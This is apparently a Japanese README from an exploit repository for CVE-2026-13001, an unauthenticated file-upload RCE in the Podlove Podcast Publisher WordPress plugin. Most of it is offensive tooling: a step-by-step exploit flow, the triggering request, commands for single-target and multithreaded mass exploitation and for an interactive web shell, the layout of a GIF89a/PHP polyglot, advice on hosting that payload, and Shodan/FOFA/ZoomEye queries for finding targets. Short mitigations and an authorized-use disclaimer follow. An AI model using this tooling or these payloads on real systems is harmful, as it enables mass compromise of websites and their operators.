
CVE-2026-13001のエクスプロイト: 拡張子の混乱によるPodlove Podcast Publisherの未認証RCE。マススキャン、インタラクティブシェル、GIF89a PHPポリグロットペイロードが含まれます。
CVSS 9.8(緊急) | 認証なしの任意ファイルアップロードによるリモートコード実行(RCE)
WordPressプラグインPodlove Podcast Publisher(バージョン4.5.1まで)における重大な脆弱性です。認証なしの攻撃者が画像キャッシュ機能を介してサーバー上に任意のPHPファイルをアップロードでき、**リモートコード実行(RCE)**につながります。
この脆弱性は、ファイル拡張子を異なる方法で解析する2つの内部関数間の不一致を悪用します。
| 関数 | メソッド | 入力:payload.php?.gif | 結果 |
|---|
is_image() | basename() の後に pathinfo() | payload.php?.gif | .gif(検証を通過) |
extract_file_extension() | parse_url() の後に pathinfo() | /payload.php | .php(ディスクに保存) |
| フィールド | 値 |
|---|---|
| CVE ID | CVE-2026-13001 |
| CVSS | 9.8(緊急) |
| CWE | CWE-20(不適切な入力検証) |
| プラグイン | Podlove Podcast Publisher |
| 影響を受けるバージョン | 4.5.1以下 |
| 修正済みバージョン | 4.5.2 |
| 種別 | 認証なし任意ファイルアップロードによるRCE |
| 研究者 | Talal Nasraddeen(Wordfence経由) |
| 公開日 | 2026年7月14日 |
この脆弱性は、Podloveプラグイン内の2つの関数が同じURLを解析する一方で、異なるファイル拡張子を抽出するために発生します。
is_image() — 検証(lib/helper.php内)// Called with: is_image($temp_file, basename($this->source_url))
// basename("https://attacker.com/payload.php?.gif") returns "payload.php?.gif"
// pathinfo("payload.php?.gif", PATHINFO_EXTENSION) returns "gif" <- BYPASS!
この関数は以下をチェックします:
exif_imagetype()によるコンテンツベースのチェック - 有効な画像ヘッダー(GIF89a)が必要wp_check_filetype_and_ext()によるWordPressのファイルタイプチェックbasename()はクエリ文字列を含むため、拡張子はgifとして認識され、拒否リストに含まれません。
extract_file_extension() — ファイル命名(lib/model/image.php内)// parse_url("https://attacker.com/payload.php?.gif")
// path = "/payload.php" (query string stripped!)
// pathinfo("/payload.php", PATHINFO_EXTENSION) returns "php"
ファイルは.php拡張子でディスクに保存されます。
1. Attacker hosts GIF89a PHP polyglot at: attacker.com/payload.php
(File starts with GIF89a header but contains PHP code)
2. Exploit appends ?.gif to URL: payload.php?.gif
Then hex-encodes the full URL
3. Trigger cache download:
GET /?podlove_image_cache_url={hex_encoded_url}&podlove_file_name=test
4. Plugin processing:
a. Downloads file from attacker URL
b. is_image() checks content: GIF89a header detected - PASS
c. is_image() checks extension: basename sees "gif" - PASS
d. extract_file_extension() uses parse_url path: gets "php"
e. File saved as: test_original.php
5. File location:
/wp-content/cache/podlove/{hash[:2]}/{hash[2:]}/test_original.php
6. Attacker accesses the file with parameters -> RCE achieved
git clone https://github.com/ghostpel-sec/CVE-2026-13001.git
cd CVE-2026-13001
pip install -r requirements.txt
python3 exploit.py -u http://target.com \
-s https://yourserver.com/shell_polyglot.gif.php \
--filename test -v
python3 exploit.py -f targets.txt \
-s https://yourserver.com/shell_polyglot.gif.php \
-o vuln.txt -t 15 -v
python3 exploit.py --shell-url http://target.com/wp-content/cache/podlove/a1/b2c3.../test_original.php
python3 exploit.py -u http://target.com \
-s https://yourserver.com/shell_polyglot.gif.php \
--filename test --debug
-u, --url Single target URL
-f, --file File containing target URLs (one per line)
-s, --shell URL hosting the GIF89a PHP polyglot
--filename Custom filename for cached file (default: shell)
--shell-url Direct URL for interactive mode
-o, --output Output file for vulnerable targets (bulk mode)
-t, --threads Number of threads (default: 10)
-v, --verbose Verbose output
--debug Debug output (show all HTTP requests)
--no-payload-test Skip payload accessibility test
shell_polyglot.gif.phpは、GIF画像としてもPHPとしても有効なポリグロットファイルです:
GIF89a <- Valid GIF header (passes exif_imagetype check)
/* <- Start of comment (GIF binary data is commented out for PHP)
<?php <- PHP code begins here
// ... code ...
?>
重要:ポリグロットは静的ファイルとしてホストする必要があります(例:Cloudflare R2、AWS S3、PHPを使用しないnginx)。ホスティングサーバーがPHPを処理する場合、コードはターゲットに生のコンテンツとして配信されるのではなく、ホスティングサーバー上で実行されます。
# FOFA
body="podlove-podcasting-plugin-for-wordpress"
# Shodan
http.html:"podlove"
# ZoomEye
app:"Podlove Podcast Publisher"
悪用に成功すると、Webサーバーユーザーとしてリモートコード実行が可能になります:
wp-content/cache/podlove/ディレクトリの内容を削除するpodlove_image_cache_urlリクエストがないかアクセスログを監視するこの脆弱性は、CVE-2025-10147(Podlove <= 4.2.6)の修正のバイパスです。
| 項目 | CVE-2025-10147(v4.2.6) | CVE-2026-13001(v4.5.1) |
|---|---|---|
| 根本原因 | ファイルタイプ検証がまったくない | 拡張子の混乱による検証バイパス |
| 手法 | PHPファイルの直接アップロード | GIF89aポリグロット+URLクエリのトリック |
| 適用された修正 | 拒否リスト付きis_image()を追加 | 拡張子解析の一貫性を修正 |
詳細な比較については、analysis/CVE_COMPARISON.mdを参照してください。
教育目的および許可を受けたテスト目的のみに使用してください。
このツールは、ターゲットシステムのテストについて明示的な書面による許可を得たセキュリティ研究者およびペネトレーションテスターを対象としています。コンピュータシステムへの不正アクセスは違法です。著者は、このツールの不正使用について一切の責任を負いません。
ghostpel-sec — セキュリティ研究&エクスプロイト開発
このプロジェクトはghostpel-sec Security Research Licenseの下でライセンスされています。